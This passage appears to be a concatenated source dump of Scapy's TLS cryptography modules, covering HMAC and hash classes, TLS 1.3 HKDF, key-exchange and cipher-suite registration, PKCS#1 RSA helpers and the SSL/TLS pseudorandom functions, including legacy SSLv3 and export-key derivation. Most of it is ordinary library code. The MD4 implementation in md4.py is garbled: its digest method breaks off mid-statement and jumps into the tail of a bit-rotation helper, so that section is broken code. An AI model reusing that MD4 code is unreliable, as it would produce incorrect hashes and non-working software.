tbd = bytes_encode(tbd) return hmac.new(self.key, tbd, self.hash_alg.hash_cls).digest() def digest_sslv3(self, tbd): if self.key is None: raise HMACError h = self.hash_alg() if h.name == "SHA": pad1 = _SSLv3_PAD1_SHA1 pad2 = _SSLv3_PAD2_SHA1 elif h.name == "MD5": pad1 = _SSLv3_PAD1_MD5 pad2 = _SSLv3_PAD2_MD5 else: raise HMACError("Provided hash does not work with SSLv3.") return h.digest(self.key + pad2 + h.digest(self.key + pad1 + tbd)) class Hmac_NULL(_GenericHMAC): hmac_len = 0 key_len = 0 def digest(self, tbd): return b"" def digest_sslv3(self, tbd): return b"" class Hmac_MD4(_GenericHMAC): pass class Hmac_MD5(_GenericHMAC): pass class Hmac_SHA(_GenericHMAC): pass class Hmac_SHA224(_GenericHMAC): pass class Hmac_SHA256(_GenericHMAC): pass class Hmac_SHA384(_GenericHMAC): pass class Hmac_SHA512(_GenericHMAC): pass def Hmac(key, hashtype): """ Return Hmac object from Hash object and key """ return _tls_hmac_algs[f"HMAC-{hashtype.name}"](key=key) ================================================ FILE: scapy/layers/tls/crypto/hash.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury """ Hash classes. """ from hashlib import md5, sha1, sha224, sha256, sha384, sha512 from scapy.layers.tls.crypto.md4 import MD4 as md4 _tls_hash_algs = {} class _GenericHashMetaclass(type): """ Hash classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, hash_name, bases, dct): if hash_name != "_GenericHash": dct["name"] = hash_name[5:] # remove leading "Hash_" the_class = super(_GenericHashMetaclass, cls).__new__(cls, hash_name, bases, dct) if hash_name != "_GenericHash": _tls_hash_algs[hash_name[5:]] = the_class return the_class class _GenericHash(metaclass=_GenericHashMetaclass): def digest(self, tbd): return self.hash_cls(tbd).digest() class Hash_NULL(_GenericHash): hash_len = 0 def digest(self, tbd): return b"" class Hash_MD4(_GenericHash): hash_cls = md4 hash_len = 16 class Hash_MD5(_GenericHash): hash_cls = md5 hash_len = 16 class Hash_SHA(_GenericHash): hash_cls = sha1 hash_len = 20 class Hash_SHA224(_GenericHash): hash_cls = sha224 hash_len = 28 class Hash_SHA256(_GenericHash): hash_cls = sha256 hash_len = 32 class Hash_SHA384(_GenericHash): hash_cls = sha384 hash_len = 48 class Hash_SHA512(_GenericHash): hash_cls = sha512 hash_len = 64 ================================================ FILE: scapy/layers/tls/crypto/hkdf.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Maxence Tury """ Stateless HKDF for TLS 1.3. """ import struct from scapy.config import conf, crypto_validator from scapy.layers.tls.crypto.pkcs1 import _get_hash if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.kdf.hkdf import HKDF, HKDFExpand from cryptography.hazmat.primitives.hashes import Hash from cryptography.hazmat.primitives.hmac import HMAC class TLS13_HKDF(object): @crypto_validator def __init__(self, hash_name="sha256"): self.hash = _get_hash(hash_name) @crypto_validator def extract(self, salt, ikm): h = self.hash if ikm is None: ikm = b"\x00" * h.digest_size # cryptography 47.0.0 added this as a public API if getattr(HKDF, "extract", None) is not None: return HKDF.extract(h, salt, ikm) else: hkdf = HKDF(h, h.digest_size, salt, None, default_backend()) return hkdf._extract(ikm) @crypto_validator def expand(self, prk, info, L): h = self.hash hkdf = HKDFExpand(h, L, info, default_backend()) return hkdf.derive(prk) @crypto_validator def expand_label(self, secret, label, hash_value, length): hkdf_label = struct.pack("!H", length) hkdf_label += struct.pack("B", 6 + len(label)) hkdf_label += b"tls13 " hkdf_label += label hkdf_label += struct.pack("B", len(hash_value)) hkdf_label += hash_value return self.expand(secret, hkdf_label, length) @crypto_validator def derive_secret(self, secret, label, messages): h = Hash(self.hash, backend=default_backend()) h.update(messages) hash_messages = h.finalize() hash_len = self.hash.digest_size return self.expand_label(secret, label, hash_messages, hash_len) @crypto_validator def compute_verify_data(self, basekey, handshake_context): hash_len = self.hash.digest_size finished_key = self.expand_label(basekey, b"finished", b"", hash_len) h = Hash(self.hash, backend=default_backend()) h.update(handshake_context) hash_value = h.finalize() hm = HMAC(finished_key, self.hash, default_backend()) hm.update(hash_value) return hm.finalize() ================================================ FILE: scapy/layers/tls/crypto/kx_algs.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ Key Exchange algorithms as listed in appendix C of RFC 4346. XXX No support yet for PSK (also, no static DH, DSS, SRP or KRB). """ from scapy.layers.tls.keyexchange import (ServerDHParams, ServerRSAParams, ClientDiffieHellmanPublic, ClientECDiffieHellmanPublic, _tls_server_ecdh_cls_guess, EncryptedPreMasterSecret) _tls_kx_algs = {} class _GenericKXMetaclass(type): """ We could try to set server_kx_msg and client_kx_msg while parsing the class name... :) """ def __new__(cls, kx_name, bases, dct): if kx_name != "_GenericKX": dct["name"] = kx_name[3:] # remove leading "KX_" the_class = super(_GenericKXMetaclass, cls).__new__(cls, kx_name, bases, dct) if kx_name != "_GenericKX": the_class.export = kx_name.endswith("_EXPORT") the_class.anonymous = "_anon" in kx_name the_class.no_ske = not ("DHE" in kx_name or "_anon" in kx_name) the_class.no_ske &= not the_class.export _tls_kx_algs[kx_name[3:]] = the_class return the_class class _GenericKX(metaclass=_GenericKXMetaclass): pass class KX_NULL(_GenericKX): descr = "No key exchange" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = None class KX_SSLv2(_GenericKX): descr = "SSLv2 dummy key exchange class" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = None class KX_TLS13(_GenericKX): descr = "TLS 1.3 dummy key exchange class" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = None # Standard RSA-authenticated key exchange class KX_RSA(_GenericKX): descr = "RSA encryption" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = EncryptedPreMasterSecret # class KX_DH_RSA(_GenericKX): # descr = "DH with RSA-based certificates" # server_kx_msg_cls = lambda _,m: None # client_kx_msg_cls = None class KX_DHE_RSA(_GenericKX): descr = "Ephemeral DH with RSA signature" server_kx_msg_cls = lambda _, m: ServerDHParams client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_ECDH_RSA(_GenericKX): # descr = "ECDH RSA key exchange" # server_kx_msg_cls = lambda _,m: None # client_kx_msg_cls = None class KX_ECDHE_RSA(_GenericKX): descr = "Ephemeral ECDH with RSA signature" server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) client_kx_msg_cls = ClientECDiffieHellmanPublic class KX_RSA_EXPORT(KX_RSA): descr = "RSA encryption, export version" server_kx_msg_cls = lambda _, m: ServerRSAParams # class KX_DH_RSA_EXPORT(KX_DH_RSA): # descr = "DH with RSA-based certificates - Export version" class KX_DHE_RSA_EXPORT(KX_DHE_RSA): descr = "Ephemeral DH with RSA signature, export version" # Standard ECDSA-authenticated key exchange # class KX_ECDH_ECDSA(_GenericKX): # descr = "ECDH ECDSA key exchange" # server_kx_msg_cls = lambda _,m: None # client_kx_msg_cls = None class KX_ECDHE_ECDSA(_GenericKX): descr = "Ephemeral ECDH with ECDSA signature" server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) client_kx_msg_cls = ClientECDiffieHellmanPublic # Classes below are offered without any guarantee. # They may offer some parsing capabilities, # but surely won't be able to handle a proper TLS negotiation. # Uncomment them at your own risk. # Standard DSS-authenticated key exchange # class KX_DH_DSS(_GenericKX): # descr = "DH with DSS-based certificates" # server_kx_msg_cls = lambda _,m: ServerDHParams # client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_DHE_DSS(_GenericKX): # descr = "Ephemeral DH with DSS signature" # server_kx_msg_cls = lambda _,m: ServerDHParams # client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_DH_DSS_EXPORT(KX_DH_DSS): # descr = "DH with DSS-based certificates - Export version" # class KX_DHE_DSS_EXPORT(KX_DHE_DSS): # descr = "Ephemeral DH with DSS signature, export version" # PSK-based key exchange # class KX_PSK(_GenericKX): # RFC 4279 # descr = "PSK key exchange" # server_kx_msg_cls = lambda _,m: ServerPSKParams # client_kx_msg_cls = None # class KX_RSA_PSK(_GenericKX): # RFC 4279 # descr = "RSA PSK key exchange" # server_kx_msg_cls = lambda _,m: ServerPSKParams # client_kx_msg_cls = None # class KX_DHE_PSK(_GenericKX): # RFC 4279 # descr = "Ephemeral DH with PSK key exchange" # server_kx_msg_cls = lambda _,m: ServerPSKParams # client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_ECDHE_PSK(_GenericKX): # RFC 5489 # descr = "Ephemeral ECDH PSK key exchange" # server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m) # client_kx_msg_cls = ClientDiffieHellmanPublic # SRP-based key exchange # # Kerberos-based key exchange # class KX_KRB5(_GenericKX): # descr = "Kerberos 5 key exchange" # server_kx_msg_cls = lambda _,m: None # No SKE with kerberos # client_kx_msg_cls = None # class KX_KRB5_EXPORT(KX_KRB5): # descr = "Kerberos 5 key exchange - Export version" # Unauthenticated key exchange (opportunistic encryption) class KX_DH_anon(_GenericKX): descr = "Anonymous DH, no signatures" server_kx_msg_cls = lambda _, m: ServerDHParams client_kx_msg_cls = ClientDiffieHellmanPublic class KX_ECDH_anon(_GenericKX): descr = "ECDH anonymous key exchange" server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) client_kx_msg_cls = ClientECDiffieHellmanPublic class KX_DH_anon_EXPORT(KX_DH_anon): descr = "Anonymous DH, no signatures - Export version" ================================================ FILE: scapy/layers/tls/crypto/md4.py ================================================ # SPDX-License-Identifier: WTFPL # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2019 James Seo (github.com/kangtastic). """ MD4 implementation Modified from: https://gist.github.com/kangtastic/c3349fc4f9d659ee362b12d7d8c639b6 """ import struct class MD4: """ An implementation of the MD4 hash algorithm. Modified to provide the same API as hashlib's. """ name = 'md4' block_size = 64 width = 32 mask = 0xFFFFFFFF # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating! h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476] def __init__(self, msg=b""): self.msg = msg def update(self, msg): self.msg += msg def digest(self): # Pre-processing: Total length is a multiple of 512 bits. ml = len(self.msg) * 8 self.msg += b"\x80" self.msg += b"\x00" * (-(len(self.msg) + 8) % self.block_size) self.msg += struct.pack("> (MD4.width - n) return lbits | rbits ================================================ FILE: scapy/layers/tls/crypto/pkcs1.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2008 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ PKCS #1 methods as defined in RFC 3447. We cannot rely solely on the cryptography library, because the openssl package used by the cryptography library may not implement the md5-sha1 hash, as with Ubuntu or OSX. This is why we reluctantly keep some legacy crypto here. """ from scapy.compat import bytes_encode, hex_bytes, bytes_hex from scapy.config import conf, crypto_validator from scapy.error import warning if conf.crypto_valid: from cryptography.exceptions import InvalidSignature, UnsupportedAlgorithm from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives.hashes import HashAlgorithm ##################################################################### # Some helpers ##################################################################### def pkcs_os2ip(s): """ OS2IP conversion function from RFC 3447. :param s: octet string to be converted :return: n, the corresponding nonnegative integer """ return int(bytes_hex(s), 16) def pkcs_i2osp(n, sLen): """ I2OSP conversion function from RFC 3447. The length parameter allows the function to perform the padding needed. Note that the user is responsible for providing a sufficient xLen. :param n: nonnegative integer to be converted :param sLen: intended length of the resulting octet string :return: corresponding octet string """ # if n >= 256**sLen: # raise Exception("Integer too large for provided sLen %d" % sLen) fmt = "%%0%dx" % (2 * sLen) return hex_bytes(fmt % n) def pkcs_ilen(n): """ This is a log base 256 which determines the minimum octet string length for unequivocal representation of integer n by pkcs_i2osp. """ i = 0 while n > 0: n >>= 8 i += 1 return i @crypto_validator def _legacy_pkcs1_v1_5_encode_md5_sha1(M, emLen): """ Legacy method for PKCS1 v1.5 encoding with MD5-SHA1 hash. """ M = bytes_encode(M) md5_hash = hashes.Hash(_get_hash("md5"), backend=default_backend()) md5_hash.update(M) sha1_hash = hashes.Hash(_get_hash("sha1"), backend=default_backend()) sha1_hash.update(M) H = md5_hash.finalize() + sha1_hash.finalize() if emLen < 36 + 11: warning("pkcs_emsa_pkcs1_v1_5_encode: " "intended encoded message length too short") return None PS = b'\xff' * (emLen - 36 - 3) return b'\x00' + b'\x01' + PS + b'\x00' + H ##################################################################### # Hash and padding helpers ##################################################################### _get_hash = None if conf.crypto_valid: # first, we add the "md5-sha1" hash from openssl to python-cryptography class MD5_SHA1(HashAlgorithm): name = "md5-sha1" digest_size = 36 block_size = 64 _hashes = { "md5": hashes.MD5, "sha1": hashes.SHA1, "sha224": hashes.SHA224, "sha256": hashes.SHA256, "sha384": hashes.SHA384, "sha512": hashes.SHA512, "md5-sha1": MD5_SHA1 } def _get_hash(hashStr): try: return _hashes[hashStr]() except KeyError: raise KeyError("Unknown hash function %s" % hashStr) def _get_padding(padStr, mgf=padding.MGF1, h=hashes.SHA256, label=None): if padStr == "pkcs": return padding.PKCS1v15() elif padStr == "pss": # Can't find where this is written, but we have to use the digest # size instead of the automatic padding.PSS.MAX_LENGTH. return padding.PSS(mgf=mgf(h), salt_length=h.digest_size) elif padStr == "oaep": return padding.OAEP(mgf=mgf(h), algorithm=h, label=label) else: warning("Key.encrypt(): Unknown padding type (%s)", padStr) return None ##################################################################### # Asymmetric Cryptography wrappers ##################################################################### # Make sure that default values are consistent across the whole TLS module, # lest they be explicitly set to None between cert.py and pkcs1.py. class _EncryptAndVerifyRSA(object): @crypto_validator def encrypt(self, m, t="pkcs", h="sha256", mgf=None, L=None): mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) return self.pubkey.encrypt(m, pad) @crypto_validator def verify(self, M, S, t="pkcs", h="sha256", mgf=None, L=None): M = bytes_encode(M) mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) try: try: self.pubkey.verify(S, M, pad, h) except UnsupportedAlgorithm: if t != "pkcs" and h != "md5-sha1": raise UnsupportedAlgorithm("RSA verification with %s" % h) self._legacy_verify_md5_sha1(M, S) return True except InvalidSignature: return False def _legacy_verify_md5_sha1(self, M, S): k = self._modulusLen // 8 if len(S) != k: warning("invalid signature (len(S) != k)") return False s = pkcs_os2ip(S) n = self._modulus if s > n - 1: warning("Key._rsaep() expects a long between 0 and n-1") return None m = pow(s, self._pubExp, n) EM = pkcs_i2osp(m, k) EMPrime = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k) if EMPrime is None: warning("Key._rsassa_pkcs1_v1_5_verify(): unable to encode.") return False return EM == EMPrime class _DecryptAndSignRSA(object): @crypto_validator def decrypt(self, C, t="pkcs", h="sha256", mgf=None, L=None): mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) return self.key.decrypt(C, pad) @crypto_validator def sign(self, M, t="pkcs", h="sha256", mgf=None, L=None): M = bytes_encode(M) mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) try: return self.key.sign(M, pad, h) except UnsupportedAlgorithm: if t != "pkcs" and h != "md5-sha1": raise UnsupportedAlgorithm("RSA signature with %s" % h) return self._legacy_sign_md5_sha1(M) def _legacy_sign_md5_sha1(self, M): M = bytes_encode(M) k = self._modulusLen // 8 EM = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k) if EM is None: warning("Key._rsassa_pkcs1_v1_5_sign(): unable to encode") return None m = pkcs_os2ip(EM) n = self._modulus if m > n - 1: warning("Key._rsaep() expects a long between 0 and n-1") return None privExp = self.key.private_numbers().d s = pow(m, privExp, n) return pkcs_i2osp(s, k) ================================================ FILE: scapy/layers/tls/crypto/prf.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ TLS Pseudorandom Function. """ from scapy.error import warning from scapy.utils import strxor from scapy.layers.tls.crypto.hash import _tls_hash_algs from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs from scapy.compat import bytes_encode # Data expansion functions def _tls_P_hash(secret, seed, req_len, hm): """ Provides the implementation of P_hash function defined in section 5 of RFC 4346 (and section 5 of RFC 5246). Two parameters have been added (hm and req_len): - secret : the key to be used. If RFC 4868 is to be believed, the length must match hm.key_len. Actually, python hmac takes care of formatting every key. - seed : the seed to be used. - req_len : the length of data to be generated by iterating the specific HMAC function (hm). This prevents multiple calls to the function. - hm : the hmac function class to use for iteration (either Hmac_MD5 or Hmac_SHA1 in TLS <= 1.1 or Hmac_SHA256 or Hmac_SHA384 in TLS 1.2) """ hash_len = hm.hash_alg.hash_len n = (req_len + hash_len - 1) // hash_len seed = bytes_encode(seed) res = b"" a = hm(secret).digest(seed) # A(1) while n > 0: res += hm(secret).digest(a + seed) a = hm(secret).digest(a) n -= 1 return res[:req_len] def _tls_P_MD5(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-MD5"]) def _tls_P_SHA1(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA"]) def _tls_P_SHA256(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA256"]) def _tls_P_SHA384(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA384"]) def _tls_P_SHA512(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA512"]) # PRF functions, according to the protocol version def _sslv2_PRF(secret, seed, req_len): hash_md5 = _tls_hash_algs["MD5"]() rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len res = b"" if rounds == 1: res += hash_md5.digest(secret + seed) else: r = 0 while r < rounds: label = str(r).encode("utf8") res += hash_md5.digest(secret + label + seed) r += 1 return res[:req_len] def _ssl_PRF(secret, seed, req_len): """ Provides the implementation of SSLv3 PRF function: SSLv3-PRF(secret, seed) = MD5(secret || SHA-1("A" || secret || seed)) || MD5(secret || SHA-1("BB" || secret || seed)) || MD5(secret || SHA-1("CCC" || secret || seed)) || ... req_len should not be more than 26 x 16 = 416. """ if req_len > 416: warning("_ssl_PRF() is not expected to provide more than 416 bytes") return "" d = [b"A", b"B", b"C", b"D", b"E", b"F", b"G", b"H", b"I", b"J", b"K", b"L", # noqa: E501 b"M", b"N", b"O", b"P", b"Q", b"R", b"S", b"T", b"U", b"V", b"W", b"X", # noqa: E501 b"Y", b"Z"] res = b"" hash_sha1 = _tls_hash_algs["SHA"]() hash_md5 = _tls_hash_algs["MD5"]() rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len for i in range(rounds): label = d[i] * (i + 1) tmp = hash_sha1.digest(label + secret + seed) res += hash_md5.digest(secret + tmp) return res[:req_len] def _tls_PRF(secret, label, seed, req_len): """ Provides the implementation of TLS PRF function as defined in section 5 of RFC 4346: PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed) Parameters are: - secret: the secret used by the HMAC in the 2 expansion functions (S1 and S2 are the halves of this secret). - label: specific label as defined in various sections of the RFC depending on the use of the generated PRF keystream - seed: the seed used by the expansion functions. - req_len: amount of keystream to be generated """ tmp_len = (len(secret) + 1) // 2 S1 = secret[:tmp_len] S2 = secret[-tmp_len:] a1 = _tls_P_MD5(S1, label + seed, req_len) a2 = _tls_P_SHA1(S2, label + seed, req_len) return strxor(a1, a2) def _tls12_SHA256PRF(secret, label, seed, req_len): """ Provides the implementation of TLS 1.2 PRF function as defined in section 5 of RFC 5246: PRF(secret, label, seed) = P_SHA256(secret, label + seed) Parameters are: - secret: the secret used by the HMAC in the 2 expansion functions (S1 and S2 are the halves of this secret). - label: specific label as defined in various sections of the RFC depending on the use of the generated PRF keystream - seed: the seed used by the expansion functions. - req_len: amount of keystream to be generated """ return _tls_P_SHA256(secret, label + seed, req_len) def _tls12_SHA384PRF(secret, label, seed, req_len): return _tls_P_SHA384(secret, label + seed, req_len) def _tls12_SHA512PRF(secret, label, seed, req_len): return _tls_P_SHA512(secret, label + seed, req_len) class PRF(object): """ The PRF used by SSL/TLS varies based on the version of the protocol and (for TLS 1.2) possibly the Hash algorithm of the negotiated cipher suite. The various uses of the PRF (key derivation, computation of verify_data, computation of pre_master_secret values) for the different versions of the protocol also changes. In order to abstract those elements, the common _tls_PRF() object is provided. It is expected to be initialised in the context of the connection state using the tls_version and the cipher suite. """ def __init__(self, hash_name="SHA256", tls_version=0x0303): self.tls_version = tls_version self.hash_name = hash_name if tls_version < 0x0300: # SSLv2 self.prf = _sslv2_PRF elif tls_version == 0x0300: # SSLv3 self.prf = _ssl_PRF elif (tls_version == 0x0301 or # TLS 1.0 tls_version == 0x0302): # TLS 1.1 self.prf = _tls_PRF elif tls_version == 0x0303: # TLS 1.2 if hash_name == "SHA384": self.prf = _tls12_SHA384PRF elif hash_name == "SHA512": self.prf = _tls12_SHA512PRF else: if hash_name in ["MD5", "SHA"]: self.hash_name = "SHA256" self.prf = _tls12_SHA256PRF else: warning("Unknown TLS version") def compute_master_secret(self, pre_master_secret, client_random, server_random, extms=False, handshake_hash=None): """ Return the 48-byte master_secret, computed from pre_master_secret, client_random and server_random. See RFC 5246, section 6.3. Supports Extended Master Secret Derivation, see RFC 7627 """ seed = client_random + server_random label = b'master secret' if extms is True and handshake_hash is not None: seed = handshake_hash label = b'extended master secret' if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: return self.prf(pre_master_secret, seed, 48) else: return self.prf(pre_master_secret, label, seed, 48) def derive_key_block(self, master_secret, server_random, client_random, req_len): """ Perform the derivation of master_secret into a key_block of req_len requested length. See RFC 5246, section 6.3. """ seed = server_random + client_random if self.tls_version <= 0x0300: return self.prf(master_secret, seed, req_len) else: return self.prf(master_secret, b"key expansion", seed, req_len) def compute_verify_data(self, con_end, read_or_write, handshake_msg, master_secret): """ Return verify_data based on handshake messages, connection end, master secret, and read_or_write position. See RFC 5246, section 7.4.9. Every TLS 1.2 cipher suite has a verify_data of length 12. Note also:: "This PRF with the SHA-256 hash function is used for all cipher suites defined in this document and in TLS documents published prior to this document when TLS 1.2 is negotiated." Cipher suites using SHA-384 were defined later on. """ if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: if read_or_write == "write": d = {"client": b"CLNT", "server": b"SRVR"} else: d = {"client": b"SRVR", "server": b"CLNT"} label = d[con_end] sslv3_md5_pad1 = b"\x36" * 48 sslv3_md5_pad2 = b"\x5c" * 48 sslv3_sha1_pad1 = b"\x36" * 40 sslv3_sha1_pad2 = b"\x5c" * 40 md5 = _tls_hash_algs["MD5"]() sha1 = _tls_hash_algs["SHA"]() md5_hash = md5.digest(master_secret + sslv3_md5_pad2 + md5.digest(handshake_msg + label + master_secret + sslv3_md5_pad1)) sha1_hash = sha1.digest(master_secret + sslv3_sha1_pad2 + sha1.digest(handshake_msg + label + master_secret + sslv3_sha1_pad1)) # noqa: E501 verify_data = md5_hash + sha1_hash else: if read_or_write == "write": d = {"client": "client", "server": "server"} else: d = {"client": "server", "server": "client"} label = ("%s finished" % d[con_end]).encode() if self.tls_version <= 0x0302: s1 = _tls_hash_algs["MD5"]().digest(handshake_msg) s2 = _tls_hash_algs["SHA"]().digest(handshake_msg) verify_data = self.prf(master_secret, label, s1 + s2, 12) else: h = _tls_hash_algs[self.hash_name]() s = h.digest(handshake_msg) verify_data = self.prf(master_secret, label, s, 12) return verify_data def postprocess_key_for_export(self, key, client_random, server_random, con_end, read_or_write, req_len): """ Postprocess cipher key for EXPORT ciphersuite, i.e. weakens it. An export key generation example is given in section 6.3.1 of RFC 2246. See also page 86 of EKR's book. """ s = con_end + read_or_write s = (s == "clientwrite" or s == "serverread") if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: if s: tbh = key + client_random + server_random else: tbh = key + server_random + client_random export_key = _tls_hash_algs["MD5"]().digest(tbh)[:req_len] else: if s: tag = b"client write key" else: tag = b"server write key" export_key = self.prf(key, tag, client_random + server_random, req_len) return export_key def generate_iv_for_export(self, client_random, server_random, con_end, read_or_write, req_len): """ Generate IV for EXPORT ciphersuite, i.e. weakens it. An export IV generation example is given in section 6.3.1 of RFC 2246. See also page 86 of EKR's book. """ s = con_end + read_or_write s = (s == "clientwrite" or s == "serverread") if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: if s: tbh = client_random + server_random else: tbh = server_random + client_random iv = _tls_hash_algs["MD5"]().digest(tbh)[:req_len] else: iv_block = self.prf("", b"IV block", client_random + server_random, 2 * req_len) if s: iv = iv_block[:req_len] else: iv = iv_block[req_len:] return iv ================================================ FILE: scapy/layers/tls/crypto/suites.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ TLS cipher suites. A comprehensive list of specified cipher suites can be consulted at: https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml """ from scapy.layers.tls.crypto.kx_algs import _tls_kx_algs from scapy.layers.tls.crypto.hash import _tls_hash_algs from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs from scapy.layers.tls.crypto.ciphers import _tls_cipher_algs def get_algs_from_ciphersuite_name(ciphersuite_name): """ Return the 3-tuple made of the Key Exchange Algorithm class, the Cipher class and the HMAC class, through the parsing of the ciphersuite name. """ tls1_3 = False if ciphersuite_name.startswith("TLS"): s = ciphersuite_name[4:] if s.endswith("CCM") or s.endswith("CCM_8"): kx_name, s = s.split("_WITH_") kx_alg = _tls_kx_algs.get(kx_name) hash_alg = _tls_hash_algs.get("SHA256") cipher_alg = _tls_cipher_algs.get(s) hmac_alg = None else: if "WITH" in s: kx_name, s = s.split("_WITH_") kx_alg = _tls_kx_algs.get(kx_name) else: tls1_3 = True kx_alg = _tls_kx_algs.get("TLS13") hash_name = s.split('_')[-1] hash_alg = _tls_hash_algs.get(hash_name) cipher_name = s[:-(len(hash_name) + 1)] if tls1_3: cipher_name += "_TLS13" cipher_alg = _tls_cipher_algs.get(cipher_name) hmac_alg = None if cipher_alg is not None and cipher_alg.type != "aead": hmac_name = "HMAC-%s" % hash_name hmac_alg = _tls_hmac_algs.get(hmac_name) elif ciphersuite_name.startswith("SSL"): s = ciphersuite_name[7:] kx_alg = _tls_kx_algs.get("SSLv2") cipher_name, hash_name = s.split("_WITH_") cipher_alg = _tls_cipher_algs.get(cipher_name.rstrip("_EXPORT40")) kx_alg.export = cipher_name.endswith("_EXPORT40") hmac_alg = _tls_hmac_algs.get("HMAC-NULL") hash_alg = _tls_hash_algs.get(hash_name) return kx_alg, cipher_alg, hmac_alg, hash_alg, tls1_3 _tls_cipher_suites = {} _tls_cipher_suites_cls = {} class _GenericCipherSuiteMetaclass(type): """ Cipher suite classes are automatically registered through this metaclass. Their name attribute equates their respective class name. We also pre-compute every expected length of the key block to be generated, which may vary according to the current tls_version. The default is set to the TLS 1.2 length, and the value should be set at class instantiation. Regarding the AEAD cipher suites, note that the 'hmac_alg' attribute will be set to None. Yet, we always need a 'hash_alg' for the PRF. """ def __new__(cls, cs_name, bases, dct): cs_val = dct.get("val") if cs_name != "_GenericCipherSuite": kx, c, hm, h, tls1_3 = get_algs_from_ciphersuite_name(cs_name) if c is None or h is None or (kx is None and not tls1_3): dct["usable"] = False else: dct["usable"] = True dct["name"] = cs_name dct["kx_alg"] = kx dct["cipher_alg"] = c dct["hmac_alg"] = hm dct["hash_alg"] = h if not tls1_3: kb_len = 2 * c.key_len if c.type == "stream" or c.type == "block": kb_len += 2 * hm.key_len kb_len_v1_0 = kb_len if c.type == "block": kb_len_v1_0 += 2 * c.block_size # no explicit IVs added for TLS 1.1+ elif c.type == "aead": kb_len_v1_0 += 2 * c.fixed_iv_len kb_len += 2 * c.fixed_iv_len dct["_key_block_len_v1_0"] = kb_len_v1_0 dct["key_block_len"] = kb_len _tls_cipher_suites[cs_val] = cs_name the_class = super(_GenericCipherSuiteMetaclass, cls).__new__(cls, cs_name, bases, dct) if cs_name != "_GenericCipherSuite": _tls_cipher_suites_cls[cs_val] = the_class return the_class class _GenericCipherSuite(metaclass=_GenericCipherSuiteMetaclass): def __init__(self, tls_version=0x0303): """ Most of the attributes are fixed and have already been set by the metaclass, but we still have to provide tls_version differentiation. For now, the key_block_len remains the only application if this. Indeed for TLS 1.1+, when using a block cipher, there are no implicit IVs derived from the master secret. Note that an overlong key_block_len would not affect the secret generation (the trailing bytes would simply be discarded), but we still provide this for completeness. """ super(_GenericCipherSuite, self).__init__() if tls_version <= 0x301: self.key_block_len = self._key_block_len_v1_0 class TLS_NULL_WITH_NULL_NULL(_GenericCipherSuite): val = 0x0000 class TLS_RSA_WITH_NULL_MD5(_GenericCipherSuite): val = 0x0001 class TLS_RSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0x0002 class TLS_RSA_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): val = 0x0003 class TLS_RSA_WITH_RC4_128_MD5(_GenericCipherSuite): val = 0x0004 class TLS_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x0005 class TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite): val 